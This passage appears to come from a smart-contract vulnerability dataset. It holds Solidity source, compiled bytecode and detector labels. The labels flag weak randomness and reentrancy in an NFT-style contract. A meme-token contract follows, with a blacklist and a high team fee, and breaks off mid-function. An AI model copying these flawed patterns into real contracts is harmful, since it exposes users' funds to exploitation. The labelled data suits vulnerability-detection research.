approved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) {
require(approved[_tokenId] == msg.sender);
//require msg.sender to be approved for this token
_transfer(_from, _to, _tokenId);
//handles event, balances and approval reset
return true;
}
} | 0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063095ea7b3146100f657806318160ddd1461013857806323b872dd1461016157806327e235e3146101da57806327f7be99146102275780633092afd51461027c57806336541cc5146102b55780636352211e1461037257806370a08231146103d55780637d4061e6146104225780638da5cb5b14610485578063923f1788146104da578063983b2d56146104fd578063a9059cbb14610536578063c2356d2314610590578063f2fde38b1461060a578063f46eccc414610643575b600080fd5b341561010157600080fd5b610136600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610694565b005b341561014357600080fd5b61014b6107be565b6040518082815260200191505060405180910390f35b341561016c57600080fd5b6101c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107cb565b604051808215151515815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610850565b6040518082815260200191505060405180910390f35b341561023257600080fd5b61023a610868565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561028757600080fd5b6102b3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061088e565b005b34156102c057600080fd5b6102d66004808035906020019091905050610944565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018761ffff1661ffff1681526020018661ffff1661ffff1681526020018562ffffff1662ffffff1681526020018460ff1660ff1681526020018360ff1660ff1681526020018262ffffff1662ffffff16815260200197505050505050505060405180910390f35b341561037d57600080fd5b6103936004808035906020019091905050610a06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e057600080fd5b61040c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a4d565b6040518082815260200191505060405180910390f35b341561042d57600080fd5b6104436004808035906020019091905050610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049057600080fd5b610498610ac9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e557600080fd5b6104fb6004808035906020019091905050610aee565b005b341561050857600080fd5b610534600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061226f565b005b341561054157600080fd5b610576600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612325565b604051808215151515815260200191505060405180910390f35b341561059b57600080fd5b610608600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803561ffff1690602001909190803562ffffff1690602001909190803562ffffff1690602001909190803560ff1690602001909190803560ff169060200190919050506123b5565b005b341561061557600080fd5b610641600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612625565b005b341561064e57600080fd5b61067a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061277a565b604051808215151515815260200191505060405180910390f35b803373ffffffffffffffffffffffffffffffffffffffff166001828154811015156106bb57fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561070c57600080fd5b826003600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000600180549050905090565b60003373ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561083a57600080fd5b61084584848461279a565b600190509392505050565b60046020528060005260406000206000915090505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e957600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60018181548110151561095357fe5b90600052602060002090016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900461ffff16908060000160169054906101000a900461ffff16908060000160189054906101000a900462ffffff169080600001601b9054906101000a900460ff169080600001601c9054906101000a900460ff169080600001601d9054906101000a900462ffffff16905087565b6000600182815481101515610a1757fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610af66129bc565b6000806000806000863373ffffffffffffffffffffffffffffffffffffffff16600182815481101515610b2557fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610b7657600080fd5b600188815481101515610b8557fe5b906000526020600020900160e060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900461ffff1661ffff1661ffff1681526020016000820160169054906101000a900461ffff1661ffff1661ffff1681526020016000820160189054906101000a900462ffffff1662ffffff1662ffffff16815260200160008201601b9054906101000a900460ff1660ff1660ff16815260200160008201601c9054906101000a900460ff1660ff1660ff16815260200160008201601d9054906101000a900462ffffff1662ffffff1662ffffff16815250509650866020015195506000876080015160ff16141515611247576001876080015160ff161480610ce957506003876080015160ff16145b15610e2057600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3008a608001518b60a001518c602001518d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1660ff1681526020018460ff1660ff1681526020018361ffff1663ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515610e0b57600080fd5b5af11515610e1857600080fd5b505050611242565b6005876080015160ff161415610f5457600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336000600560018c602001518d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018361ffff1663ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515610f3f57600080fd5b5af11515610f4c57600080fd5b505050611241565b6002876080015160ff1614156110cc5762093a80945060028760a0015160ff161415610f8557621275009450610f9d565b60038760a0015160ff161415610f9c5762278d0094505b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68338760058b608001518c602001518d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1663ffffffff1681526020018560ff1681526020018460ff1660ff1681526020018361ffff1663ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b15156110b757600080fd5b5af115156110c457600080fd5b505050611240565b6004876080015160ff16141561123f5761a8c0935060028760a0015160ff1614156110fc576202a3009350611114565b60038760a0015160ff161415611113576203f48093505b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68338660048b60a001518c602001518d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1663ffffffff1681526020018560ff1681526020018460ff1660ff1681526020018361ffff1663ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b151561122e57600080fd5b5af1151561123b57600080fd5b5050505b5b5b5b612259565b600092505b8561ffff168360ff1610156122585786606001516103e841600143034086600180549050604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140184600019166000191681526020018360ff1660ff167f010000000000000000000000000000000000000000000000000000000000000002815260010182815260200194505050505060405180910390206001900461ffff1681151561131657fe5b0661ffff160391506103528262ffffff16111561144b57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a30060018060018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b151561143657600080fd5b5af1151561144357600080fd5b50505061224b565b6102bc8262ffffff16111561157857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb683362093a8060026001808d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b151561156357600080fd5b5af1151561157057600080fd5b50505061224a565b6102268262ffffff1611156116a557600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a30060036001808d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b151561169057600080fd5b5af1151561169d57600080fd5b505050612249565b6101908262ffffff1611156117d157600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb683361a8c060046001808d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b15156117bc57600080fd5b5af115156117c957600080fd5b505050612248565b6101458262ffffff1611156118ff57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3006004600260018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b15156118ea57600080fd5b5af115156118f757600080fd5b505050612247565b60fa8262ffffff161115611a2c57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3006001600260018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611a1757600080fd5b5af11515611a2457600080fd5b505050612246565b60af8262ffffff161115611b5857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336212750060028060018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611b4357600080fd5b5af11515611b5057600080fd5b505050612245565b60648262ffffff161115611c8557600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3006003600260018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611c7057600080fd5b5af11515611c7d57600080fd5b505050612244565b60508262ffffff161115611db257600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a3006001600360018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611d9d57600080fd5b5af11515611daa57600080fd5b505050612243565b603c8262ffffff161115611edf57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb683362278d006002600360018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611eca57600080fd5b5af11515611ed757600080fd5b505050612242565b60288262ffffff16111561200b57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336202a30060038060018d60c001516040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1662ffffff1681526020019650505050505050600060405180830381600087803b1515611ff657600080fd5b5af1151561200357600080fd5b505050612241565b60148262ffffff16111561212d57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336000600560018060006040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1681526020019650505050505050600060405180830381600087803b151561211857600080fd5b5af1151561212557600080fd5b505050612240565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663262bcb68336203f48060046003600160006040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018663ffffffff1681526020018560ff1681526020018460ff1681526020018363ffffffff1681526020018262ffffff1681526020019650505050505050600060405180830381600087803b151561222f57600080fd5b5af1151561223c57600080fd5b5050505b5b5b5b5b5b5b5b5b5b5b5b828060010193505061124c565b5b6122653360008a61279a565b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122ca57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000813373ffffffffffffffffffffffffffffffffffffffff1660018281548110151561234e57fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561239f57600080fd5b6123aa33858561279a565b600191505092915050565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561240d57600080fd5b600180548091906001016124219190612a28565b508560018080805490500381548110151561243857fe5b906000526020600020900160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508460018080805490500381548110151561249a57fe5b906000526020600020900160000160146101000a81548161ffff021916908361ffff160217905550836001808080549050038154811015156124d857fe5b9060005260206000209001600001601d6101000a81548162ffffff021916908362ffffff1602179055508260018080805490500381548110151561251857fe5b906000526020600020900160000160186101000a81548162ffffff021916908362ffffff1602179055508160018080805490500381548110151561255857fe5b9060005260206000209001600001601b6101000a81548160ff021916908360ff1602179055508060018080805490500381548110151561259457fe5b9060005260206000209001600001601c6101000a81548160ff021916908360ff16021790555060018080549050038673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561268057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156126bc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60056020528060005260406000206000915054906101000a900460ff1681565b8273ffffffffffffffffffffffffffffffffffffffff166001828154811015156127c057fe5b906000526020600020900160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561281157600080fd5b8160018281548110151561282157fe5b906000526020600020900160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60e060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600061ffff168152602001600061ffff168152602001600062ffffff168152602001600060ff168152602001600060ff168152602001600062ffffff1681525090565b815481835581811511612a4f57818360005260206000209182019101612a4e9190612a54565b5b505050565b612b1591905b80821115612b1157600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556000820160146101000a81549061ffff02191690556000820160166101000a81549061ffff02191690556000820160186101000a81549062ffffff021916905560008201601b6101000a81549060ff021916905560008201601c6101000a81549060ff021916905560008201601d6101000a81549062ffffff021916905550600101612a5a565b5090565b905600a165627a7a7230582022ad7fbff657ab346d395196eb78fca19320a2fd26a2cb2165dfcdb4e3ca8d850029 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}]}} | 10,673 |
0xd65336657c1271706f18b292c889dc6f5d515c0d | /*
Say Hello To My Little Friend...The Inu!
░█████╗░██╗░░░░░ ██████╗░░█████╗░░█████╗░██╗███╗░░██╗██╗░░░██╗
██╔══██╗██║░░░░░ ██╔══██╗██╔══██╗██╔══██╗██║████╗░██║██║░░░██║
███████║██║░░░░░ ██████╔╝███████║██║░░╚═╝██║██╔██╗██║██║░░░██║
██╔══██║██║░░░░░ ██╔═══╝░██╔══██║██║░░██╗██║██║╚████║██║░░░██║
██║░░██║███████╗ ██║░░░░░██║░░██║╚█████╔╝██║██║░╚███║╚██████╔╝
╚═╝░░╚═╝╚══════╝ ╚═╝░░░░░╚═╝░░╚═╝░╚════╝░╚═╝╚═╝░░╚══╝░╚═════╝░
https://t.me/AL_PACINU
Meet Al Pacinu!!!
Here to take over!
✔️ No pre-sale
✔️ No team & marketing tokens
✔ ️Locked liquidity
✔️ Renounced ownership
✔️ Reflection % to holders
✔️ 1,000,000,000,000 Total Supply
✔️ 50% Burn Instantly
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ALPACINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Al Pacinu | t.me/AL_PACINU";
string private constant _symbol = 'ALPACINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
